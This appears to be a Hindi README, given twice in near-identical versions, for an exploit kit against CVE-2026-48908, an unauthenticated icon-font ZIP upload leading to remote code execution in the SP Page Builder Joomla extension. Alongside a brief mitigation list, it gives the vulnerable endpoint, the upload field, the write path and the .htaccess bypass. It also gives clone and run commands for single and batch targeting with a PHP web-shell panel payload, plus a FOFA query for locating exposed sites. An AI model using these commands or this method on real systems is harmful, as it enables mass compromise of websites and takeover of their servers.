CVE-2026-48908

---

📌 सारांश

SP Page Builder (Joomla) — बिना प्रमाणीकरण ZIP अपलोड → RCE

उत्पाद	SP Page Builder — com_sppagebuilder (JoomShaper)
संस्करण	≤ 6.6.1
ठीक किया गया	6.6.2+ — अपलोड के लिए अब एडमिन आवश्यक है
प्रमाणीकरण	अनप्रमाणित
वेक्टर	POST …&task=asset.uploadCustomIcon
फ़ील्ड	custom_icon (आइकन-फ़ॉन्ट ZIP)
लिखा गया स्थान	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
बायपास	.PHP + fonts/.htaccess

🛡️ समाधान

1. SP Page Builder 6.6.2+ में अपडेट करें
2. /media/com_sppagebuilder/ → PHP निष्पादन बंद करें
3. AllowOverride None — .htaccess को रोकें
4. WAF: custom_icon ZIP POST दर-सीमा

📦 इंस्टॉलेशन

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

फ़ाइल	कार्य
winrarzips_brand.py	CMD बैनर (by winrarzips)
sppb48908_core.py	एक्सप्लॉइट इंजन
CVE-2026-48908-Suite.py	बैच + एकल लक्ष्य CLI
CVE-2026-48908.py	एकल लक्ष्य रैपर
payloads/x7-panel.php	RCE पैनल
requirements.txt	निर्भरताएँ

❌ लक्ष्य सूची, स्कैन परिणाम और डैशबोर्ड URL रेपो में नहीं हैं।

🎯 एकल लक्ष्य

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 बैच (अपनी सूची में)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ हानि टैग

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 सारांश

SP Page Builder (Joomla) — अनधिकृत ZIP अपलोड → RCE

उत्पाद	SP Page Builder — com_sppagebuilder (JoomShaper)
प्रभावित	≤ 6.6.1
ठीक किया गया	6.6.2+ — अपलोड के लिए एडमिन आवश्यक
प्रमाणीकरण	अनधिकृत
वेक्टर	POST …&task=asset.uploadCustomIcon
फ़ील्ड	custom_icon (icon-font ZIP)
राइट पाथ	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
बायपास	.PHP + fonts/.htaccess

🛡️ उपचार

1. SP Page Builder को 6.6.2+ में अपग्रेड करें
2. /media/com_sppagebuilder/ के अंतर्गत PHP निष्पादन अक्षम करें
3. AllowOverride None — .htaccess PHP पंजीकरण को ब्लॉक करें
4. WAF: custom_icon ZIP अपलोड को दर-सीमित करें

📦 सेटअप

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

फ़ाइल	भूमिका
winrarzips_brand.py	CMD बैनर (by winrarzips)
sppb48908_core.py	एक्सप्लॉइट कोर
CVE-2026-48908-Suite.py	बैच + सिंगल-टारगेट CLI
CVE-2026-48908.py	सिंगल-टारगेट रैपर
payloads/x7-panel.php	RCE पैनल पेलोड
requirements.txt	डिपेंडेंसीज़

❌ टारगेट सूचियाँ, स्कैन परिणाम और लाइव पैनल URL शामिल नहीं हैं।

🎯 सिंगल टारगेट

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 बैच (आपकी अपनी सूची)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ त्रुटि टैग

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---